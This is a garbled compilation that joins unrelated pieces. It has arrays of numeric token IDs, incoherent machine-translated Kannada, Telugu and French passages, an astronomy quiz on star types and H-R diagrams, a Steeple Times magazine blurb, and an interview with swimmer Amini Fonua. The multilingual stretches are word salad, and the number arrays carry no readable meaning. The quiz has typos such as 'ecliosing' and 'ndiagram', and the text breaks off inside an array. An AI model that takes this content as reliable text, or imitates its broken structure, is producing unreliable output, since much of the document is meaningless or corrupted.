105, 42916, 10681, 110, 10681, 244, 48058, 10681, 99, 42916, 10681, 115, 10681, 213, 34749, 115, 42916, 10681, 110, 10681, 124, 10681, 118, 44973, 10681, 109, 48058, 10681, 103, 42916, 10681, 103, 10681, 124, 10681, 96, 48058, 187, 10681, 102, 10681, 103, 42916, 10681, 109, 10681, 115, 10681, 124, 10681, 101, 10681, 124, 10681, 112, 48058, 34749, 109, 22379, 221, 10681, 232, 42916, 10681, 232, 34749, 232, 22379, 222, 10681, 110, 42916, 10681, 118, 48058, 34749, 109, 22379, 221, 10681, 232, 42916, 10681, 232, 34749, 218, 10681, 101, 44973, 367, 2261, 187, 10681, 232, 48058, 10681, 232, 42916, 10681, 232, 10681, 112, 48058, 34749, 105, 42916, 10681, 112, 22379, 218, 34749, 218, 10681, 115, 42916, 10681, 115, 10681, 96, 10681, 124, 10681, 103, 44973, 10681, 232, 44973, 34749, 108, 10681, 124, 10681, 99, 22379, 222, 34749, 232, 10681, 112, 44973, 10681, 118, 44973, 34749, 108, 10681, 124, 10681, 242, 42916, 10681, 112, 10681, 124, 10681, 96, 22379, 218, 187, 10681, 232, 10681, 124, 10681, 112, 10681, 213, 187, 10681, 103, 10681, 124, 10681, 112, 48058, 10681, 234, 48058, 34749, 234, 10681, 99, 34749, 218, 10681, 110, 10681, 115, 22379, 219, 34749, 225, 10681, 103, 44973, 10681, 108, 44973, 10681, 101, 44973, 34749, 103, 44973, 10681, 108, 44973, 10681, 117, 10681, 124, 10681, 112, 34749, 118, 10681, 124, 10681, 102, 44973, 10681, 213, 10681, 237, 44973, 10681, 213, 10681, 101, 44973, 187, 10681, 108, 10681, 110, 44973, 10681, 109, 48058, 34749, 216, 10681, 101, 44973, 34749, 237, 22379, 213, 10681, 118, 10681, 124, 10681, 108, 48058, 34749, 105, 10681, 103, 44973, 34749, 105, 22379, 213, 10681, 110, 42916, 10681, 99, 44973, 187, 10681, 234, 10681, 115, 10681, 110, 42916, 10681, 103, 10681, 110, 48058, 10681, 234, 10681, 124, 34749, 99, 44973, 10681, 110, 44973, 10681, 234, 44973, 187, 10681, 96, 22379, 223, 10681, 103, 42916, 34749, 118, 10681, 108, 10681, 109, 10681, 213, 10681, 112, 22379, 222, 34749, 234, 10681, 124, 10681, 103, 44973, 34749, 108, 10681, 124, 10681, 110, 42916, 10681, 234, 10681, 213, 34749, 216, 10681, 115, 48058, 10681, 242, 42916, 187, 10681, 105, 42916, 10681, 110, 10681, 108, 48058, 10681, 233, 34749, 110, 22379, 222, 10681, 96, 42916, 187, 10681, 115, 22379, 217, 10681, 213, 10681, 242, 10681, 103, 22379, 218, 34749, 218, 10681, 242, 22379, 211, 10681, 115, 10681, 112, 44973, 187, 10681, 232, 22379, 218, 10681, 242, 10681, 112, 10681, 124, 10681, 234, 42916, 34749, 232, 48058, 10681, 232, 42916, 10681, 232, 10681, 112, 48058, 34749, 232, 42916, 10681, 110, 44973, 10681, 213, 10681, 101, 34749, 220, 10681, 103, 42916, 10681, 103, 10681, 124, 10681, 109, 44973, 187, 10681, 239, 22379, 211, 10681, 99, 10681, 124, 10681, 112, 48058, 34749, 237, 22379, 217, 10681, 112, 42916, 10681, 112, 44973, 10681, 213, 10681, 237, 44973, 10681, 213, 10681, 101, 10681, 103, 42916, 10681, 103, 34749, 108, 10681, 110, 44973, 10681, 109, 48058, 34749, 105, 10681, 124, 10681, 242, 48058, 34749, 237, 22379, 218, 10681, 109, 10681, 124, 10681, 112, 10681, 103, 48058, 10681, 232, 48058, 10681, 213, 10681, 242, 48058, 10681, 103, 42916, 10681, 103, 10681, 124, 10681, 110, 48058, 187, 10681, 232, 10681, 118, 42916, 10681, 242, 10681, 108, 10681, 110, 42916, 34749, 112, 22379, 218, 10681, 101, 10681, 124, 34749, 218, 10681, 232, 42916, 10681, 232, 10681, 96, 9711, 19001, 68, 459, 187, 10681, 108, 22379, 221, 10681, 103, 10681, 124, 10681, 232, 22379, 222, 34749, 108, 10681, 110, 44973, 10681, 109, 48058, 34749, 103, 22379, 218, 10681, 103, 48058, 34749, 232, 22379, 213, 10681, 96, 10681, 107, 22379, 217, 10681, 242, 42916, 10681, 242, 48058, 34749, 103, 44973, 10681, 110, 42916, 10681, 115, 10681, 119, 10681, 98, 34749, 103, 22379, 218, 10681, 103, 48058, 187, 187, 21258, 27, 209, 187, 69, 507, 826, 2022, 711, 23493, 1162, 711, 3974, 1206, 11207, 187, 10816, 570, 1753, 5139, 1670, 2310, 1185, 18208, 2438, 10723, 1144, 298, 8, 565, 1075, 187, 300, 425, 19847, 1753, 764, 19667, 187, 282, 28698, 358, 404, 1111, 249, 1162, 2240, 480, 8, 2284, 3816, 19657, 860, 4057, 298, 8, 187, 67, 13252, 187, 38582, 10999, 2909, 44583, 572, 11203, 247, 64, 78, 64, 187, 254, 3737, 21582, 303, 19095, 7222, 3443, 14078, 1162, 187, 1120, 28973, 27233, 13953, 48335, 764, 2083, 860, 6531, 826, 187, 9960, 458, 305, 16017, 34711, 372, 298, 8, 2422, 11304, 247, 3974, 24913, 187, 41496, 15923, 256, 24690, 83, 372, 14121, 373, 372, 650, 6457, 336, 6531, 187, 1148, 2146, 14333, 13953, 372, 15934, 254, 3293, 21477, 561, 42138, 290, 187, 81, 31178, 3180, 372, 29324, 187, 66, 16703, 73, 1619, 247, 187, 292, 2743, 66, 40999, 247, 23162, 19847, 14333, 458, 187, 250, 1206, 16017, 305, 16017, 79, 593, 187, 15227, 343, 3443, 29324, 372, 37383, 40881, 251, 546, 1666, 372, 826, 187, 25966, 1821, 386, 187, 20887, 1154, 70, 14078, 372, 18880, 187, 868, 21477, 561, 3443, 33733, 16491, 16399, 14, 22192, 528, 187, 12080, 860, 546, 14404, 1162, 1753, 18659, 18155, 3227, 614, 91, 6531, 3648, 81, 25823, 187, 8780, 10959, 9711, 19001, 68, 459, 50121, 187, 9304, 15861, 1162, 5139, 37179, 826, 19763, 256, 8, 48925, 13543, 187, 187, 27397, 27, 209, 187 ]

ನು ಇರಬಹುದು ಪೆರಿ ಕೌಂಟಿ ಹೊಂದಿದ್ದಾರೆ ಅದಕ್ಕೆ ಆಸಕ್ತಿ ಆದ್ದರಿಂದ ನಾವು ಕಾರ್ಮಿಕ ಮತ್ತು ಎಲ್ಲಾ ಎಂದು ನಾವು ಪ್ರಶ್ನಾರ್ಹ ಬಳಸಬಹುದೇ ಮತ್ತು ರಾತ್ರಿ ಅದು ಶ್ರಮದಾಯಕ ಎಂದು ಕಠಿಣ ಮಾಡುವ ಚಟುವಟಿಕೆ DR ಬೆಳಗಿನ ರಲ್ಲಿ ಪಡೆಯಲು ಮತ್ತು ಎಂದು ಸದ್ದಿಲ್ಲದೆ ವಿಚಾರಣೆಗೆ ಅವರನ್ನು ತರಲು ಸಾಧ್ಯವಾದಷ್ಟು ಆರು a_m_ ನಲ್ಲಿ ALBION ನೀವು ನನ್ನನ್ನು ಬೇಕಾದರೆ ಮೊದಲು ನಂತರ ನನ್ನ ಮನೆಗೆ ರೈಟ್ ಥಿಂಗ್ ನಲ್ಲಿ ಕರೆ cabbies ಎಂದು ಹೋಗುವ ಸ್ಮಾರ್ಟ್ ವಕೀಲ ಸಿಕ್ಕಿತು ಮೋಜಿನ ನಾನು ಇಲ್ಲದೆ ಅವರನ್ನು ಶಿಕ್ಷಿಸಲು ಹೊಂದಿತ್ತು ದೇಹದ ಪುರಾವೆಗಳು ದೃಢವಾದ ಶಿಬಿರದಲ್ಲಿ ನೀವು ಸಾಧ್ಯವೋ ನಾಲ್ಕು ಎಕರೆ Telugu: సంస్థలు మరియు విదేశీ యొక్క చేతిలో వ్యక్తి నేను ఈ సందర్భంలో ఉద్దేశించి కాదు ఇది ప్రారంభం మాత్రమే అన్నారు మరుసటి ఉదయం బెన్ మరియు నేను కలిసిన కార్యాలయం నాలుగు a_m_ గత కొన్ని నిమిషాలు ఎరికా క్వాసిమాడో అస్సలు మరియు మేము కోసం ప్రారంభించారు రెస్టారెంట్ స్థానిక ప్రభుత్వం వ్రాసియున్నాడు ధన్యవాదాలు యొక్క కోర్సు యొక్క ఇది Pounds కుక్కలు ప్లే ఇవ్వడానికి మాతో కలిసి మాట్లాడే కాలం నాలుగు గత ఇరవై ఎనిమిది నిమిషాల సాధించింది మరియు అది చూసాము పని పూర్తి గవర్నరుగా తిరిగి డౌన్ సమయంలో గాని మార్గం అవుట్ ప్రముఖ రోడ్ వెంటనే ఇటీవలి కేటలాగ్ కుక్కలు క్రింద ఉన్నాయి జీతాలు చెల్లించిందన్న మరియు పాటు చేయాలనుకుంటున్నారు కస్టమర్ లేదా ఇక్కడ silverdarkcure మొనాకో మరియు నేను కూడబెట్టు నిర్వహణ నేను French: dans la main des corps et des étrangers personne que je veux dire cette affaire est l'intention il ne fait que commencer le lendemain matin et ben j'ai rencontré à l' bureau quelques minutes depuis quatre a_m_ erica quasimodo pas du tout et restaurant où nous avons commencé pour la sur le gouvernement de l'Alaska a écrit qui bien sûr de livres de grâce pour parler avec nous de garder les chiens jouent périodes de temps a 04h28 a et regarda cela a été fait avec le retrouver gouvernance sortir du temps de toute façon en bas de la route menant récente tout de suite les chiens du catalogue sont ci-dessous payé en trop et que vous souhaitez pour accompagner client ou silverdarkcure ici Monaco et je suis la manipulation s'accumulent Russian:

[ 187, 187, 2185, 83, 4146, 310, 247, 4177, 273, 9879, 1511, 1713, 4414, 187, 187, 40, 15, 187, 187, 34, 1344, 11168, 398, 476, 2557, 247, 4177, 434, 2280, 275, 760, 2176, 2219, 15, 6758, 581, 273, 253, 1563, 2219, 1537, 1581, 35081, 398, 281, 2557, 247, 4177, 434, 2280, 32, 187, 187, 510, 4177, 310, 247, 3558, 273, 253, 8985, 4177, 985, 15, 187, 187, 1276, 1307, 310, 1677, 281, 247, 4667, 273, 6114, 326, 359, 476, 3653, 403, 36391, 539, 72, 1016, 643, 760, 407, 10499, 616, 15316, 30116, 15036, 32, 187, 187, 38727, 26129, 8985, 15, 187, 187, 510, 24039, 327, 247, 45763, 91, 27375, 1947, 14, 17233, 437, 10659, 1957, 37866, 15, 187, 187, 45, 6059, 11108, 285, 2553, 3276, 15, 187, 187, 1276, 476, 359, 9441, 13, 387, 1878, 11467, 13, 432, 247, 4177, 434, 20545, 966, 32, 187, 187, 27132, 1979, 15, 187, 187, 2374, 271, 388, 14, 51, 10659, 13, 13671, 32285, 37866, 15, 187, 187, 25800, 511, 1073, 5154, 595, 432, 253, 2406, 1669, 281, 253, 5170, 987, 15, 187, 187, 2374, 271, 388, 14, 51, 10659, 13, 13671, 11843, 37866, 15, 187, 187, 5804, 320, 3413, 323, 2022, 3425, 6114, 533, 417, 323, 643, 3510, 273, 6114, 15, 187, 187, 2347, 310, 253, 12702, 273, 247, 4177, 2905, 281, 697, 2280, 32, 187, 187, 7673, 7863, 6114, 3153, 1199, 12217, 4852, 685, 1679, 7863, 6114, 15, 187, 187, 1276, 9879, 1511, 285, 20545, 310, 247, 2502, 2221, 72, 6231, 32, 187, 187, 38727, 1544, 1511, 353, 19, 13, 20545, 966, 309, 15, 187, 187, 1276, 310, 253, 1846, 18177, 273, 512, 2022, 3425, 6114, 32, 187, 187, 3726, 6635, 2341, 949, 9946, 11781, 275, 616, 5161, 15, 187, 187, 4140, 776, 4146, 497, 8423, 7932, 407, 247, 2221, 72, 6231, 4177, 15, 1737, 651, 320, 2032, 32, 187, 187, 38735, 651, 320, 3304, 253, 2221, 72, 6231, 15, 187, 187, 1276, 310, 247, 3168, 25747, 32, 187, 187, 510, 4558, 273, 247, 4177, 326, 6337, 562, 273, 7236, 323, 6069, 11781, 15, 187, 187, 1276, 3908, 10941, 1527, 285, 13371, 792, 4177, 9959, 310, 417, 2032, 32, 187, 187, 9807, 285, 13371, 792, 9959, 1016, 5431, 3831, 247, 1643, 4289, 6114, 15, 187, 187, 1276, 513, 359, 1599, 407, 253, 2022, 14, 21934, 1614, 2727, 1127, 273, 247, 4177, 7368, 13, 285, 752, 1057, 352, 2028, 441, 32, 187, 187, 1147, 310, 253, 9879, 1511, 273, 253, 43526, 2022, 3425, 4177, 275, 247, 4177, 7368, 13, 285, 352, 8599, 441, 253, 7368, 434, 2363, 15, 187, 187, 3074, 6114, 403, 5686, 342, 253, 1072, 5044, 5889, 13, 2568, 6114, 476, 1007, 3240, 1027, 432, 581, 1529, 15, 6758, 767, 2616, 8558, 3653, 253, 5319, 273, 247, 4177, 32, 187, 187, 27132, 2280, 285, 697, 3924, 273, 1495, 15, 187, 187, 15545, 327, 253, 5426, 273, 5165, 20468, 13, 534, 5085, 403, 4569, 323, 697, 6341, 32, 187, 187, 56, 24729, 591, 6278, 21623, 15, 187, 187, 16043, 329, 310, 8931, 281, 8141, 378, 13, 3707, 326, 8141, 329, 310, 7019, 347, 2080, 432, 441, 347, 8141, 378, 15, 3813, 27, 187, 187, 14358, 6114, 452, 253, 1072, 20545, 13, 533, 253, 5165, 20468, 273, 8141, 378, 310, 1740, 2069, 326, 273, 8141, 329, 15, 187, 187, 34, 4177, 342, 247, 1061, 455, 991, 6907, 273, 337, 16, 938, 12423, 9815, 310, 37866, 15, 187, 187, 938, 1061, 1704, 84, 1977, 15, 187, 187, 510, 4177, 657, 3604, 556, 271, 7880, 9777, 273, 670, 470, 15, 10635, 327, 253, 14308, 273, 7880, 285, 5165, 9777, 13, 359, 476, 7525, 326, 37866, 15, 187, 187, 55, 3604, 310, 37335, 685, 884, 1061, 1704, 84, 432, 7565, 15, 187, 187, 1276, 3908, 670, 9879, 3510, 273, 6114, 310, 417, 3839, 2032, 32, 187, 187, 510, 9879, 1511, 273, 247, 4177, 476, 320, 908, 281, 3653, 697, 4181, 15, 187, 187, 20405, 3750, 310, 247, 4177, 342, 9879, 1511, 329, 4177, 285, 34382, 293, 310, 247, 4177, 342, 9879, 1511, 378, 4177, 15, 1737, 476, 359, 7525, 32, 187, 187, 51, 304, 293, 556, 247, 2169, 2553, 3276, 685, 9011, 3750, 15, 187, 187, 1992, 10173, 253, 11843, 273, 6114, 275, 66, 8985, 985, 13, 359, 1364, 2557, 616, 1713, 4414, 187, 187, 3980, 14424, 2180, 285, 3388, 18290, 4181, 15, 187, 187, 17784, 1020, 6341, 10313, 326, 247, 4177, 18922, 247, 11792, 5165, 20468, 387, 954, 2069, 13, 3707, 326, 387, 10799, 11508, 273, 11087, 3038, 253, 4177, 4916, 3317, 961, 323, 670, 374, 3038, 15, 380, 954, 2779, 8813, 310, 326, 37866, 15, 187, 187, 510, 4177, 310, 247, 3558, 273, 271, 42267, 3783, 272, 8985, 4177, 985, 15, 187, 187, 1394, 10018, 247, 4177, 285, 368, 971, 281, 7484, 352, 327, 271, 388, 14, 51, 295, 5168, 12068, 15, 1422, 588, 878, 417, 2557, 253, 4177, 434, 37866, 15, 187, 187, 23067, 15, 187, 187, 510, 16851, 2022, 14, 21934, 12702, 273, 247, 4177, 273, 9879, 1511, 473, 310, 37866, 15, 187, 187, 20, 3041, 1107, 15, 187, 187, 2347, 858, 35081, 398, 9413, 253, 2954, 875, 9879, 1511, 285, 2280, 323, 2022, 3425, 6114, 32, 187, 187, 1615, 10499, 253, 11843, 285, 9879, 3510, 273, 2022, 14, 21934, 6114, 275, 8985, 2718, 15, 187, 187, 1276, 8631, 253, 25423, 4177, 7368, 327, 253, 388, 14, 51, 10659, 32, 187, 187, 510, 10659, 2722, 2022, 14, 21934, 6114, 273, 1046, 9879, 1511, 3707, 473, 13, 2112, 342, 247, 1643, 33430, 285, 2221, 7311, 1103, 15, 187, 187, 2374, 253, 388, 14, 51, 10659, 13, 534, 7368, 310, 954, 2779, 281, 320, 4441, 275, 253, 20674, 273, 776, 13649, 32, 187, 187, 510, 10659, 2722, 2022, 14, 21934, 6114, 273, 9879, 3510, 443, 13, 611, 13, 285, 353, 13, 2112, 342, 7418, 33430, 285, 3168, 46203, 15, 510, 2951, 554, 282, 7717, 310, 271, 3909, 11338, 342, 247, 1563, 273, 11776, 80, 854, 1438, 13, 933, 4451, 6849, 591, 1388, 327, 776, 1682, 1388, 2568, 15, 187, 187, 1231, 452, 11583, 13, 933, 5312, 29184, 407, 4579, 15, 187, 187, 1231, 5431, 3388, 1475, 23349, 13, 933, 4451, 6849, 591, 1388, 15, 187, 187, 1231, 4390, 452, 7251, 15979, 4477, 665, 2491, 432, 3484, 281, 253, 12353, 13, 8406, 285, 14281, 19436, 6193, 76, 2727, 285, 253, 16928, 480, 13464, 6893, 466, 399, 3592, 8885, 15, 187, 187, 26180, 1699, 247, 5878, 273, 5948, 434, 1390, 3159, 285, 1097, 19311, 285, 15799, 13, 380, 2951, 554, 282, 7717, 10949, 2739, 13, 5484, 285, 4030, 17552, 347, 973, 347, 18997, 13, 4288, 13, 253, 14635, 13, 4292, 273, 4833, 285, 1655, 13909, 275, 253, 1986, 11491, 13, 3968, 285, 11358, 15, 844, 403, 1682, 2529, 347, 1146, 33917, 281, 346, 66, 2831, 875, 380, 35318, 16240, 5779, 285, 20859, 27919, 3446, 187, 187, 510, 11338, 434, 1563, 310, 2438, 36711, 13, 9583, 285, 5213, 15, 2726, 7609, 6, 273, 10668, 3551, 432, 253, 5591, 285, 6480, 6, 432, 3968, 13, 380, 2951, 554, 282, 7717, 671, 556, 2266, 3361, 1561, 9462, 13, 9890, 13, 5685, 285, 9943, 26949, 15, 187, 187, 13422, 323, 27, 187, 187, 9707, 9975, 7396, 2637, 49367, 187, 187, 4509, 4882, 253, 1673, 281, 11280, 247, 2285, 510, 2165, 1683, 398, 275, 253, 20490, 273, 877, 80, 13, 8815, 16893, 13, 31474, 285, 643, 9001, 187, 187, 34, 42825, 401, 251, 5738, 27, 773, 1276, 457, 84, 327, 634, 18006, 293, 14705, 7721, 187, 187, 1628, 5498, 457, 85, 5963, 13, 320, 1527, 14, 23674, 285, 2746, 3253, 368, 513, 342, 2389, 668, 1108, 1422, 476, 1620, 564, 3430, 15, 187, 187, 1628, 5498, 457, 85, 755, 1014, 13, 755, 24196, 668, 310, 13, 275, 776, 26896, 4743, 13, 247, 1270, 45820, 15, 1737, 457, 84, 13298, 32, 187, 187, 1628, 15751, 45166, 253, 1612, 273, 34555, 6598, 187, 187, 44, 9587, 13593, 8440, 369, 2783, 28536, 275, 5215, 15, 8452, 390, 752, 310, 28536, 275, 4072, 32, 187, 187, 42, 2985, 39628, 611, 2937, 594, 1199, 15, 32725, 2341, 310, 671, 28536, 275, 4072, 15, 187, 187, 41849, 28585, 38771, 1146, 12128, 8308, 15, 1737, 513, 368, 2985, 954, 275, 634, 1495, 32, 187, 187, 54, 18068, 13, 17120, 2, 309, 1158, 670, 352, 1046, 1388, 285, 309, 2985, 619, 31907, 625, 685, 2712, 15, 187, 187, 1276, 1537, 368, 22101, 512, 634, 8788, 323, 32, 187, 187, 23337, 15, 187, 187, 16008, 3778, 369, 2378, 247, 1083, 273, 27, 773, 2042, 368, 24186, 253, 4310, 247, 8014, 13, 597, 2810, 368, 1066, 28, 533, 604, 368, 24186, 253, 4310, 247, 6494, 13, 368, 1211, 253, 4310, 6598, 1737, 457, 84, 634, 1859, 327, 253, 19714, 8891, 32, 187, 187, 42, 1158, 17940, 3496, 15994, 2322, 943, 320, 29163, 816, 347, 1199, 347, 17940, 8294, 943, 320, 33302, 15, 31565, 273, 253, 2408, 13, 627, 1364, 320, 12255, 285, 40216, 15, 187, 187, 1276, 12616, 390, 3159, 513, 368, 954, 2343, 4349, 32, 187, 187, 1628, 15343, 348, 39919, 309, 1158, 352, 457, 84, 824, 247, 18934, 3159, 15, 187, 187, 688, 253, 5591, 13, 690, 952, 1908, 19489, 281, 773, 2043, 387, 1728, 6598, 1737, 457, 84, 634, 1859, 285, 752, 5997, 513, 368, 11697, 1329, 32, 187, 187, 42, 457, 78, 247, 4105, 5974, 594, 387, 1142, 2069, 309, 1158, 309, 457, 78, 619, 1211, 19489, 1083, 15, 309, 457, 78, 6685, 22500, 670, 1824, 5252, 275, 37477, 66, 285, 309, 1900, 5007, 347, 1199, 17120, 6500, 309, 476, 689, 627, 15, 187, 187, 510, 5963, 275, 5405, 3506, 2821, 47422, 3054, 27, 773, 42, 476, 3965, 1199, 513, 5913, 309, 971, 668, 1078, 1146, 24684, 598, 16682, 22291, 617, 6109, 4481, 15, 1737, 457, 84, 634, 1859, 327, 253, 4569, 897, 273, 824, 4095, 32, 187, 187, 42, 1158, 352, 457, 84, 1097, 247, 26569, 285, 247, 28401, 281, 1900, 320, 4802, 387, 512, 2069, 15, 187, 187, 34, 42825, 401, 251, 5738, 34, 42825, 401, 251, 5738, 29177, 387, 253, 4693, 4050, 17165, 323, 37477, 66, 285, 5608, 347, 521, 5674, 457, 84, 7908, 14, 1257, 12287, 187, 187, 2042, 368, 812, 7522, 247, 21614, 327, 380, 45674, 16500, 13, 665, 651, 320, 634, 7715, 16479, 32, 187, 187, 42, 457, 78, 417, 2119, 849, 1142, 309, 812, 452, 13, 533, 5604, 18268, 17239, 13, 20145, 13999, 13, 37641, 20146, 285, 46147, 29926, 15, 187, 187, 2042, 368, 497, 23293, 2217, 281, 990, 598, 327, 2471, 4194, 13, 752, 651, 320, 634, 1390, 11484, 285, 835, 651, 368, 6008, 352, 32, 187, 187, 42, 651, 3164, 1478, 323, 247, 11152, 2206, 333, 42463, 13, 2054, 265, 285, 247, 14354, 2301, 661, 73, 640, 387, 247, 1659, 1925, 48565, 15558, 275, 1457, 12123, 15, 187, 187, 1276, 673, 310, 352, 12207, 281, 21409, 253, 806, 5484, 273, 253, 1388, 32, 187, 187, 1147, 457, 84, 608, 258, 457, 13273, 9366, 13, 594, 28537, 15, 187, 187, 34, 3532, 737, 12355, 13, 247, 16172, 5391, 390, 247, 5500, 273, 10331, 32, 187, 187, 34, 5500, 273, 10331, 15, 187, 187, 3152, 583, 4676, 513, 368, 4264, 253, 954, 285, 2139, 32, 187, 187, 42, 4264, 4676, 835, 368, 476, 1453, 253, 3440, 285, 368, 457, 250, 13750, 407, 634, 8642, 3858, 15, 2064, 1039, 13, 604, 368, 1056, 247, 11213, 273, 4834, 327, 253, 11012, 5254, 13, 12445, 588, 5963, 368, 15, 187, 187, 7883, 310, 253, 954, 2762, 1436, 368, 871, 32, 187, 187, 34, 13491, 3226, 1925, 1219, 571, 2058, 31299, 665, 10831, 84, 323, 41198, 15, 309, 457, 306, 2326, 617, 564, 949, 594, 1142, 10458, 2069, 285, 10380, 703, 1900, 3785, 949, 342, 247, 8580, 327, 617, 2454, 15, 187, 187, 1276, 457, 84, 634, 954, 8106, 11284, 32, 187, 187, 47141, 10777, 15, 187, 187, 2042, 247, 31720, 497, 281, 2020, 368, 598, 13, 752, 651, 352, 320, 273, 32, 187, 187, 34, 1077, 47955, 440, 41257, 390, 5046, 247, 849, 1981, 25872, 15, 187, 187, 2042, 368, 497, 247, 1113, 13, 752, 2304, 1452, 651, 368, 320, 32, 187, 187, 38, 1441, 13, 309, 1053, 457, 85, 871, 1199, 670, 8458, 15, 309, 9549, 253, 1685, 281, 285, 432, 2143, 15, 5220, 13, 672, 309, 2118, 281, 1457, 2816, 13, 309, 1053, 457, 85, 1158, 309, 457, 620, 320, 2104, 281, 452, 247, 1113, 2057, 15, 309, 971, 281, 1333 ]

OUr Sun is a star of spectral type_____. G. Astronomers can measure a star's mass in only certain cases. Which one of the following cases might allow astronomers to measure a star's mass? The star is a member of the binary star system. What term is given to a pair of stars that we can determine are orbitiong each other only by measuring their periodic Doppler shifts? Spectroscopic binary. The axes on a Hertzsprung-Russell diagram represent _____. Luminosity and surface temperature. What can we infer, at least roughly, from a star's luminosity class? Its size. On an H-R diagram, stellar radii _____. Increase diagonally from the lower left to the upper right. On an H-R diagram, stellar masses _____. Can be determined for main sequence stars but not for other types of stars. How is the lifetime of a star related to its mass? More massive stars live much shorter lives than less massive stars. What spectral type and luminosity is a red supergiant? Spectral type M2, luminosity class I. What is the common trait of all main sequence stars? They generate energy through hydrogen fusion in their core. Suppose our Sun were suddenly replaced by a supergiant star. What would be true? Earth would be inside the supergiant. What is a white dwarf? The remains of a star that ran out of fuel for nuclear fusion. What statement comparing open and globular star clusters is not true? Open and globular clusters each typically contain a few hundred stars. What do we mean by the main-sequence turnoff point of a star cluster, and what does it tell us? It is the spectral type of the hottest main sequence star in a star cluster, and it tells us the cluster's age. All stars are born with the same basic composition, yet stars can look quite different from one another. Which two factors primarily determine the characteristics of a star? Its mass and its stage of life. Based on the definition of apparent brightness, which units are appropriate for its measurements? Watts per square meter. Star A is identical to Star B, except that Star A is twice as far from us as Star B. Therefore: Both stars have the same luminosity, but the apparent brightness of Star B is four times that of Star A. A star with a parallax angle of 1/20 arcsecond is _____. 20 parsecs away. The star Vega has an absolute magnitude of about 0. Based on the definitions of absolute and apparent magnitude, we can conclude that _____. Vega is nearer than 10 parsecs from Earth. What statement about spectral types of stars is not generally true? The spectral type of a star can be used to determine its distance. Sirius is a star with spectral type A star and Rigel is a star with spectral type B star. What can we conclude? Rigel has a higher surface temperature than Sirius. To calculate the masses of stars ina binary system, we must measure their_____. Orbital period and average orbital distance. Careful measurements reveal that a star maintains a steady apparent brightness at most times, except that at precise intervals of 73 hours the star becomes dimmer for about 2 hours. The most likely explanation is that _____. The star is a member of an ecliosing binary star system. You observe a star and you want to plot it on an H-R ndiagram. You will need not measure the star's _____. Mass. The approximate main-sequence lifetime of a star of spectral type O is _____. 3 million years. How did astronomers discover the relationship between spectral type and mass for main sequence stars? by measuring the masses and spectral types of main-sequence stars in binary systems. What describes the youngest star cluster on the H-R diagram? The diagram shows main-sequence stars of every spectral type except O, along with a few giants and supergiants. On the H-R diagram, which cluster is most likely to be located in the halo of our galaxy? The diagram shows main-sequence stars of spectral types G, K, and M, along with numerous giants and white dwarfs.The Steeple Times is an online magazine with a following of upto 880,000 unique views per day on our best day yet. We have 91,000 daily subscribers by email. We typically average around 320,000 unique views per day. We currently have 65 contributing authors who range from students to the actor, writer and producer Steven Berkoff and the champion jockey Frankie Dettori. Combining a mix of society's last word and both wit and wisdom, The Steeple Times covers food, drink and fine dining as well as luxury, travel, the arts, individuals of influence and current affairs in the United Kingdom, America and elsewhere. We are best described as being akin to "a cross between The Huffington Post and Private Eye". The magazine's following is affluent, engaged and international. With 41% of readers coming from the UK and 38% from America, The Steeple Times also has strong presence within Canadian, Italian, German and Australian territories. Search for: THE SPORTING LIFE From playing the field to buying a teamThe game changers in the worlds of polo, horse racing, sailing and other sports Amini Fonua: “What’s on your mantelpiece?” “Don’t judge, be open-minded and approach everything you do with love” – You can never go wrong. “Don’t get even, get medieval” is, in our humble opinion, a great motto. What’s yours? “Never underestimate the power of forgiveness”. Kerry Katona was considered unacceptable in 2007. Who or what is unacceptable in 2013? I miss Atomic Kitten so much. Negative energy is also unacceptable in 2013. Tony Blair misses being Prime Minister. What do you miss most in your life? Ugh, swimming! I think about it every day and I miss my teammates more than anything. What might you swap all your wealth for? Love. Donald Trump was once a case of: “If you owe the bank a thousand, they close you down; but if you owe the bank a billion, you own the bank”. What’s your view on the banking crisis? I think fiscal irresponsibility should be punished just as much as fiscal responsibility should be rewarded. Regardless of the amount, there must be checks and balances. What phrase or word do you most loathe? “Belch”: I think it’s such a crude word. In the UK, some people consider charity to “begin at home”. What’s your view and what causes do you personally support? I’m a poor student so at many times I think I’m my own charity case. I’m extremely passionate about water safety in Tonga and I always send as much swimming equipment I can over there. The judge in Law Abiding Citizen states: “I can pretty much do whatever I want” before being blown up whilst answering her mobile phone. What’s your view on the appropriate use of such devices? I think it’s both a blessing and a curse to always be connected at all times. Amini FonuaAmini Fonua competed at the London 2012 Olympics for Tonga and served as his nation’s flag-bearer If you could fill a carriage on The Orient Express, who would be your fellow passengers? I’m not sure how many I could have, but certainly RuPaul, Margaret Cho, Jackie Collins and Kathy Griffin. If you were unfortunate enough to end up on death row, what would be your last meal and where would you eat it? I would probably opt for a chicken satay burger, fries and a chocolate milkshake at a place called Burger Wisconsin in New Zealand. What time is it acceptable to consume the first drink of the day? It’s 5 o’clock somewhere, so anytime. A Negroni, a martini or a cup of tea? A cup of tea. Whose parties do you enjoy the most and why? I enjoy parties where you can control the music and you’re surrounded by your closest friends. That way, if you make a fool of yourself on the dance floor, nobody will judge you. Who is the most positive person you know? A lovely girl called Alia Atkinson who swims for Jamaica. I’ve seen her go through so many tough times and somehow she always pull through with a smile on her face. What’s your most guilty pleasure? Ice cream. If a tattoo were to sum you up, what would it be of? A very mystical unicorn or maybe a howling wolf. If you were a car, what marque would you be? Eek, I don’t know much about cars. I ride the bus to and from school. Also, when I move to New York, I don’t think I’ll be able to have a car either. I want to say

[ 253, 990, 273, 776, 9864, 13, 2975, 15, 7214, 323, 2762, 2193, 273, 669, 4259, 2253, 2690, 92, 5914, 13, 66, 724, 247, 8091, 588, 320, 2104, 281, 8773, 253, 18924, 2442, 15, 17501, 13, 352, 588, 3297, 3033, 15, 535, 50276, 26043, 36056, 36056, 187, 50254, 50270, 38635, 43003, 50260, 38, 720, 66, 187, 50254, 50274, 8850, 1202, 2690, 92, 46, 11110, 16351, 13488, 10, 50275, 8850, 1202, 2690, 92, 46, 11110, 16351, 13488, 10, 187, 50276, 12481, 50254, 50272, 18, 15, 17758, 50256, 17, 15, 29412, 187, 50276, 36, 50254, 50270, 50276, 17, 15, 28418, 50256, 17, 15, 21045, 187, 50276, 48, 50254, 50270, 50276, 17, 15, 29579, 50256, 17, 15, 24341, 187, 50276, 6560, 50254, 50270, 470, 15, 29695, 50256, 17, 15, 5523, 187, 50276, 35811, 50254, 50270, 470, 15, 5525, 50256, 17, 15, 13144, 187, 50276, 14581, 50254, 50270, 470, 15, 10496, 50256, 17, 15, 14521, 187, 50276, 52, 50254, 50270, 50276, 17, 15, 5525, 50256, 17, 15, 8972, 187, 50276, 13614, 50254, 